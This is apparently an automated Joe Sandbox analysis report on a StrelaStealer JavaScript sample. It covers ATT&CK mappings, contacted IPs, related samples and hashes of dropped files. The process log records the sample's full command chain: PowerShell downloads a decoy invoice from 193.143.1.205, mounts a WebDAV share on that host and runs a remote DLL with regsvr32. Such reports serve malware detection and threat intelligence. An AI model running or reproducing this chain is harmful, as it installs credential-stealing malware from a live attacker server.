Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122371469025766.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1468330663299317031.js	8%	Virustotal		Browse
1468330663299317031.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/03db	0%	Avira URL Cloud	safe
http://193.143.1.205/invoice	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000F.00000003.1317172218.00000203AB400000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	false		high
http://crl.ver)	svchost.exe, 0000000F.00000002.2546876573.00000203A5CA6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.14.dr	false		high
https://www.adobe.co	ReaderMessages.10.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.15.dr	false		high
http://193.143.1.205:8888/03db	net.exe, 0000000C.00000002.1318216071.000002A7FF21C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 0000000C.00000002.1318216071.000002A7FF23B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1318216071.000002A7FF1E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1318216071.000002A7FF21C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205/invoice	wscript.exe, 00000000.00000002.1257922110.00000215252ED000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588835
Start date and time:	2025-01-11 06:06:53 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1468330663299317031.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 23.209.209.135, 184.28.90.27, 199.232.214.172, 2.16.168.107, 2.16.168.105, 2.22.242.11, 2.22.242.123, 13.107.246.45, 50.16.47.176, 172.202.163.200, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:07:49	API Interceptor	22x Sleep call for process: powershell.exe modified
00:07:53	API Interceptor	1x Sleep call for process: net.exe modified
00:07:53	API Interceptor	2x Sleep call for process: svchost.exe modified
00:08:00	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	183159621374924598.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1003135002549521218.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11234261403012723904.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	19726179161917216961.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	183262889860027833.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	293459661900119816.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2435213596266856603.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22742867259569153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2612377921588116147.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	183159621374924598.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1003135002549521218.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.706685483379682
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqK:2JIB/wUKUKQncEmYRTwh0m
MD5:	2684E745A058D68E2F3DABCBF662CC63
SHA1:	78A03F74F9837893434BDF83C4E92F8711F6B400
SHA-256:	E5A9401EFAE928888F22A399E33CB57D56CE7FD1859D9CC80D712A0609C3E7E1
SHA-512:	8C4DC14976DE30541850809FCEF47743A759071ECF47D387AC0B238327AF1F6F4DFF6DB67012860D870E4A68DF1B53260FE3117E9F3942216A9931C25E052921
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xe3542b2e, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899644217712957
Encrypted:	false
SSDEEP:	1536:zSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:zazaPvgurTd42UgSii
MD5:	372A4E173B445DCC8586DDB70A2928A3
SHA1:	7EED4A8821BD12DBBDB1FD497D1F16BCA18370FF
SHA-256:	CDB4F73550A3804EA7B4D14876274AA6A66989E675ACE3881A8A06486CA8335C
SHA-512:	808E506DEA221DE433D98CC1F345B4D304A17425DA4C8F643E1A739F9037533DB441E49A7E5723D356A66D8161BEEE40C6EB4D34D89CB95A13FB79CF02FBF69D
Malicious:	false
Preview:	.T+.... ...............X\...;...{......................0.`.....42...{5.5....}E.h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{...................................^..5....}..................1..5....}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08182390121445632
Encrypted:	false
SSDEEP:	3:e/lEYenyR2vt/57Dek3JYCrkvollEqW3l/TjzzQ/t:OlEznFFR3tYlQmd8/
MD5:	7951C5487F3E05DFDF2ACFB4DF58FF98
SHA1:	DB91B9BE0CDC57E5052ADF49F4270D91E0032710
SHA-256:	FB35F98AA044B5E98445BC6557FF940A9F192E3CC945C5884BF9C465E35437A6
SHA-512:	9F167937D75010D8441883BA010ED49CB66C6048A578582E0762F8BBB13CAECFDDC3A53C69998C47D090522DE25FF6099679B792602CE115C7578794CFB6BBF2
Malicious:	false
Preview:	[.......................................;...{..5....}..42...{5.........42...{5.42...{5...Y.42...{59................1..5....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.149661612164096
Encrypted:	false
SSDEEP:	6:iOHDgRuzFN+q2PcNwi2nKuAl9OmbnIFUtpDgTAWZmwjDgT3VkwOcNwi2nKuAl9Oe:7HDgopN+vLZHAahFUtpDgTAW/jDgT3Vr
MD5:	2DF8802AD1C7DE30FD3C57575F6667E9
SHA1:	8A1317D7711B32E81B5B0CFE6D9B9B1ABE535FAB
SHA-256:	516902D63E5EE460EA6BACFDC614E780ABF08E20318BE9DABC2D36E8090B93A1
SHA-512:	C3D6E89853A0F42B4E53C87A9644538B7B440F2678C25AE336D50303D82E73A8A776D577285E50B3D03C3C06754F8D4C99CB87B402CE7E9A083D928043B6E766
Malicious:	false
Preview:	2025/01/11-00:07:53.168 1dcc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:07:53.170 1dcc Recovering log #3.2025/01/11-00:07:53.170 1dcc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.149661612164096
Encrypted:	false
SSDEEP:	6:iOHDgRuzFN+q2PcNwi2nKuAl9OmbnIFUtpDgTAWZmwjDgT3VkwOcNwi2nKuAl9Oe:7HDgopN+vLZHAahFUtpDgTAW/jDgT3Vr
MD5:	2DF8802AD1C7DE30FD3C57575F6667E9
SHA1:	8A1317D7711B32E81B5B0CFE6D9B9B1ABE535FAB
SHA-256:	516902D63E5EE460EA6BACFDC614E780ABF08E20318BE9DABC2D36E8090B93A1
SHA-512:	C3D6E89853A0F42B4E53C87A9644538B7B440F2678C25AE336D50303D82E73A8A776D577285E50B3D03C3C06754F8D4C99CB87B402CE7E9A083D928043B6E766
Malicious:	false
Preview:	2025/01/11-00:07:53.168 1dcc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:07:53.170 1dcc Recovering log #3.2025/01/11-00:07:53.170 1dcc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.112539840592923
Encrypted:	false
SSDEEP:	6:iOHD9+Iq2PcNwi2nKuAl9Ombzo2jMGIFUtpD/ZmwjDzmkwOcNwi2nKuAl9Ombzos:7HD9+IvLZHAa8uFUtpD//jD654ZHAa8z
MD5:	159092A20AA1201EA5293813E42571FF
SHA1:	16158BFBBA25821737DEA95D1CDD7595607443A3
SHA-256:	7AE9CA1AAE999E9380F931736D41153F58C9A322F7C0766DE47A19ABA614E94A
SHA-512:	41E0536AE2744DF492508E56D311E3EEA0791D3B0D786F1D62D97F84345161AC5F81EACC9A33763EBC70995A4054A4FD45C274C8FE1A46097C443BB69CB1240A
Malicious:	false
Preview:	2025/01/11-00:07:53.206 1ec0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:07:53.207 1ec0 Recovering log #3.2025/01/11-00:07:53.208 1ec0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.112539840592923
Encrypted:	false
SSDEEP:	6:iOHD9+Iq2PcNwi2nKuAl9Ombzo2jMGIFUtpD/ZmwjDzmkwOcNwi2nKuAl9Ombzos:7HD9+IvLZHAa8uFUtpD//jD654ZHAa8z
MD5:	159092A20AA1201EA5293813E42571FF
SHA1:	16158BFBBA25821737DEA95D1CDD7595607443A3
SHA-256:	7AE9CA1AAE999E9380F931736D41153F58C9A322F7C0766DE47A19ABA614E94A
SHA-512:	41E0536AE2744DF492508E56D311E3EEA0791D3B0D786F1D62D97F84345161AC5F81EACC9A33763EBC70995A4054A4FD45C274C8FE1A46097C443BB69CB1240A
Malicious:	false
Preview:	2025/01/11-00:07:53.206 1ec0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:07:53.207 1ec0 Recovering log #3.2025/01/11-00:07:53.208 1ec0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\50f480ba-48d6-4be9-b530-334f747d363d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7d44eab1-537c-4d60-bf69-89d72734f65d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.973413864143525
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnlsksBdOg2HMcaq3QYiubSpDyP7E4T3y:Y2sRdsUlOdMHv3QYhbSpDa7nby
MD5:	A33E5ADA21BC8FF0B30EBE1587116698
SHA1:	5A433A43078EF7E5977B2ACCD947594A2242D898
SHA-256:	257C9BF1A0CF570DA1C04DAAAD43DCCA25A72BF91CA482050A0490589E6E5BF8
SHA-512:	67F75B1C7528D700F750AB94980C66C8A131DC83B2E6C2E821A3676DBB2F8C6AA69BCA68AB067F011553C4E4DE154953A500734044B2FD9558515CB039DE14A2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381132084809635","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128760},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF3f148f.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.23844300047588
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtP2xe2wlwYs:CwNw1GHqPySfkcigoO3h28ytP2xe2wl2
MD5:	5B3E337217049CB86A80F1F1ABC8E1EE
SHA1:	714BEB135FBFCF52BE6A4D1BAE4B06C9977131DE
SHA-256:	B818626F643736D8B11F02440991C4E028ABBD0E850D01A8E5D130861992840B
SHA-512:	82C0CF5B8EADAF1187F33414BDDF3CE80FB9BFB5CE7FF7767824B4D3BB6B014168F68CDFA8473BECB97FD9FAE601BA3D7A3E426728BEB41CC8559434C2FECD16
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.121628872418575
Encrypted:	false
SSDEEP:	6:iOHDq4Aq2PcNwi2nKuAl9OmbzNMxIFUtpDGhZmwjDEUkwOcNwi2nKuAl9OmbzNMT:7HDrAvLZHAa8jFUtpDGh/jDEU54ZHAab
MD5:	CAEF202ED9D3886CE97C128116B2D4A1
SHA1:	910F74F62C8C99CFC45E723D7F540446474EBCC4
SHA-256:	D242C8FA70552354C3CCFCA726CDFA0F16D4BD65D08457EE216009DC4DA557D9
